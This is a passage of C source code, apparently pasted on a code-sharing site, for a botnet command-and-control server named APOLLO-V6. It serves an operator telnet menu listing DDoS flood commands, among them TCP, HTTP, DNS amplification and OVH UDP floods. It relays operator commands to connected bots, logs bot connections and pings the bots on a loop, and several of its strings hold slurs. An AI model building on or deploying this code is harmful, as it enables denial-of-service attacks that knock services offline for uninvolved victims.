  760. sprintf(ddosline4, "[+] TCP Flood: !* TCP [IP] [PORT] [TIME] 32 all 0 10\r\n");
  761. sprintf(ddosline5, "[+] VSE Flood: !* VSE [IP] [PORT] [TIME] 32 all 0 10\r\n");
  762. sprintf(ddosline6, "[+] JUNK Flood: !* JUNK [IP] [PORT] [TIME]\r\n");
  763. sprintf(ddosline7, "[+] HOLD Flood: !* HOLD [IP] [PORT] [TIME]\r\n");
  764. sprintf(ddosline8, "[+] BLACKNURSE Flood: !* BLACKNURSE [IP] [TIME]\r\n");
  765. sprintf(ddosline9, "[+] HTTP Flood: !* HTTP [METHOD] [TARGET] [PORT] / [TIME] [SIZE]\r\n");
  766. sprintf(ddosline10, "[+] HTTP Hex: !* HTTPHEX [METHOD] [TARGET] [PORT] / [TIME] [SIZE]\r\n");
  767. sprintf(ddosline11, "[+] DNS AMP FLOOD: !* DNS [target IP] [port] [reflection file url] [forks] [pps limiter, -1 for no limit] [time]\r\n");
  768. sprintf(ddosline12, "[+] OVH UDP RAPE FLOOD: !* OVH [IP] [PORT] [SIZE] [TIME] [FORKS]\r\n");
  769.  
  770. if(send(thefd, ddosline1, strlen(ddosline1), MSG_NOSIGNAL) == -1) goto end;
  771. if(send(thefd, ddosline2, strlen(ddosline2), MSG_NOSIGNAL) == -1) goto end;
  772. if(send(thefd, ddosline3, strlen(ddosline3), MSG_NOSIGNAL) == -1) goto end;
  773. if(send(thefd, ddosline4, strlen(ddosline4), MSG_NOSIGNAL) == -1) goto end;
  774. if(send(thefd, ddosline5, strlen(ddosline5), MSG_NOSIGNAL) == -1) goto end;
  775. if(send(thefd, ddosline6, strlen(ddosline6), MSG_NOSIGNAL) == -1) goto end;
  776. if(send(thefd, ddosline7, strlen(ddosline7), MSG_NOSIGNAL) == -1) goto end;
  777. if(send(thefd, ddosline8, strlen(ddosline8), MSG_NOSIGNAL) == -1) goto end;
  778. if(send(thefd, ddosline9, strlen(ddosline9), MSG_NOSIGNAL) == -1) goto end;
  779. if(send(thefd, ddosline10, strlen(ddosline10), MSG_NOSIGNAL) == -1) goto end;
  780. if(send(thefd, ddosline11, strlen(ddosline11), MSG_NOSIGNAL) == -1) goto end;
  781. if(send(thefd, ddosline12, strlen(ddosline12), MSG_NOSIGNAL) == -1) goto end;
  782.  
  783. pthread_create(&title, NULL, &titleWriter, sock);
  784. if(send(thefd, "\x1b[1;31m~> \x1b[36m", 13, MSG_NOSIGNAL) == -1) goto end;
  785. continue;
  786. }
  787. if(strstr(buf, "EXTRA")) {
  788. pthread_create(&title, NULL, &titleWriter, sock);
  789. char extraline1 [80];
  790. char extraline2 [80];
  791. char extraline3 [80];
  792. char extraline4 [80];
  793. char extraline5 [80];
  794. char extraline6 [80];
  795.  
  796. sprintf(extraline1, "\x1b[35m PORTS---| PORTS TO HIT WITH\r\n");
  797. sprintf(extraline2, "\x1b[31m BOTS----| BOT COUNT\r\n");
  798. sprintf(extraline3, "\x1b[35m CLEAR---| CLEARS SCREEN\r\n");
  799. sprintf(extraline4, "\x1b[31m RULES---| SHOWS RULES\r\n");
  800. sprintf(extraline5, "\x1b[35m TIME----| SHOWS MAX BOOT TIME\r\n");
  801. sprintf(extraline6, "\x1b[31m INFO----| SHOWS INFO ABOUT THIS SERVERSusernameE\r\n");
  802.  
  803. if(send(thefd, extraline1, strlen(extraline1), MSG_NOSIGNAL) == -1) goto end;
  804. if(send(thefd, extraline2, strlen(extraline2), MSG_NOSIGNAL) == -1) goto end;
  805. if(send(thefd, extraline3, strlen(extraline3), MSG_NOSIGNAL) == -1) goto end;
  806. if(send(thefd, extraline4, strlen(extraline4), MSG_NOSIGNAL) == -1) goto end;
  807. if(send(thefd, extraline5, strlen(extraline5), MSG_NOSIGNAL) == -1) goto end;
  808. if(send(thefd, extraline6, strlen(extraline6), MSG_NOSIGNAL) == -1) goto end;
  809. pthread_create(&title, NULL, &titleWriter, sock);
  810. if(send(thefd, "\x1b[1;31m~> \x1b[36m", 13, MSG_NOSIGNAL) == -1) goto end;
  811. continue;
  812. }
  813. if(strstr(buf, "CLEAR")){
  814.  
  815. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  816. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  817. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  818. if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  819. if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
  820. if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
  821. if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
  822. if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
  823. if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
  824. if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
  825. pthread_create(&title, NULL, &titleWriter, sock);
  826. managements[thefd].connected = 1;
  827. }
  828. if(strstr(buf, "clear")){
  829.  
  830. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  831. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  832. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  833. if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  834. if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
  835. if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
  836. if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
  837. if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
  838. if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
  839. if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
  840. pthread_create(&title, NULL, &titleWriter, sock);
  841. managements[thefd].connected = 1;
  842. }
  843. if(strstr(buf, "LOGOUT"))
  844. {
  845. sprintf(botnet, "Peace Mr %s\r\n", accounts[find_line].username, buf);
  846. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  847. goto end;
  848. }
  849. if(strstr(buf, "LOLNOGTFO"))
  850. {
  851. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].username, buf);
  852. FILE *logFile;
  853. logFile = fopen("KILL.log", "a");
  854. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].username, buf);
  855. fclose(logFile);
  856. goto end;
  857. }
  858. if(strstr(buf, "GTFOFAG"))
  859. {
  860. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].username, buf);
  861. FILE *logFile;
  862. logFile = fopen("KILL.log", "a");
  863. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].username, buf);
  864. fclose(logFile);
  865. goto end;
  866. }
  867. trim(buf);
  868. if(send(thefd, "\x1b[1;31m~> \x1b[36m", 13, MSG_NOSIGNAL) == -1) goto end;
  869. if(strlen(buf) == 0) continue;
  870. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  871. FILE *logFile;
  872. logFile = fopen("report.log", "a");
  873. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].username, buf);
  874. fclose(logFile);
  875. broadcast(buf, thefd, usernamez);
  876. memset(buf, 0, 2048);
  877. }
  878.  
  879. end:
  880. managements[thefd].connected = 0;
  881. close(thefd);
  882. OperatorsConnected--;
  883. }
  884. void *telnetListener(int port)
  885. {
  886. int sockfd, newsockfd;
  887. socklen_t clilen;
  888. struct sockaddr_in serv_addr, cli_addr;
  889. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  890. if (sockfd < 0) perror("ERROR opening socket");
  891. bzero((char *) &serv_addr, sizeof(serv_addr));
  892. serv_addr.sin_family = AF_INET;
  893. serv_addr.sin_addr.s_addr = INADDR_ANY;
  894. serv_addr.sin_port = htons(port);
  895. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  896. listen(sockfd,5);
  897. clilen = sizeof(cli_addr);
  898. while(1)
  899. { printf("New BOTNET Connection From: ");
  900. client_addr(cli_addr);
  901. FILE *logFile;
  902. logFile = fopen("Connections.log", "a");
  903. fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  904. fclose(logFile);
  905. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  906. if (newsockfd < 0) perror("ERROR on accept");
  907. pthread_t thread;
  908. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  909. }
  910. }
  911.  
  912. int main (int argc, char *argv[], void *sock)
  913. {
  914. signal(SIGPIPE, SIG_IGN);
  915. int s, threads, port;
  916. struct epoll_event event;
  917. if (argc != 4)
  918. {
  919. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  920. sleep(5);
  921. exit (EXIT_FAILURE);
  922. }
  923. port = atoi(argv[3]);
  924. if (file_exist("login.txt"))
  925. {
  926. printf("\x1b[35mThe botnet has been screened you may now connect\n");
  927. } else {
  928. printf("\x1b[37mMake A File Named login.txt with your logins retard\n");
  929. sleep(5);
  930. exit (EXIT_FAILURE);
  931. }
  932. telFD = fopen("telnet.txt", "a+");
  933. threads = atoi(argv[2]);
  934. listenFD = create_and_bind (argv[1]);
  935. if (listenFD == -1) abort ();
  936. s = make_socket_non_blocking (listenFD);
  937. if (s == -1) abort ();
  938. s = listen (listenFD, SOMAXCONN);
  939. if (s == -1)
  940. {
  941. perror ("listen");
  942. abort ();
  943. }
  944. epollFD = epoll_create1 (0);
  945. if (epollFD == -1)
  946. {
  947. perror ("epoll_create");
  948. abort ();
  949. }
  950. event.data.fd = listenFD;
  951. event.events = EPOLLIN | EPOLLET;
  952. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  953. if (s == -1)
  954. {
  955. perror ("epoll_ctl");
  956. abort ();
  957. }
  958. pthread_t thread[threads + 2];
  959. while(threads--)
  960. {
  961. pthread_create( &thread[threads + 2], NULL, &BotEventLoop, (void *) NULL);
  962. }
  963. pthread_create(&thread[0], NULL, &telnetListener, port);
  964. while(1)
  965. {
  966. broadcast("PING", -1, "APOLLO-V6");
  967. sleep(60);
  968. }
  969. close (listenFD);
  970. return EXIT_SUCCESS;
  971. }
  972.  
Add Comment
Please, Sign In to add comment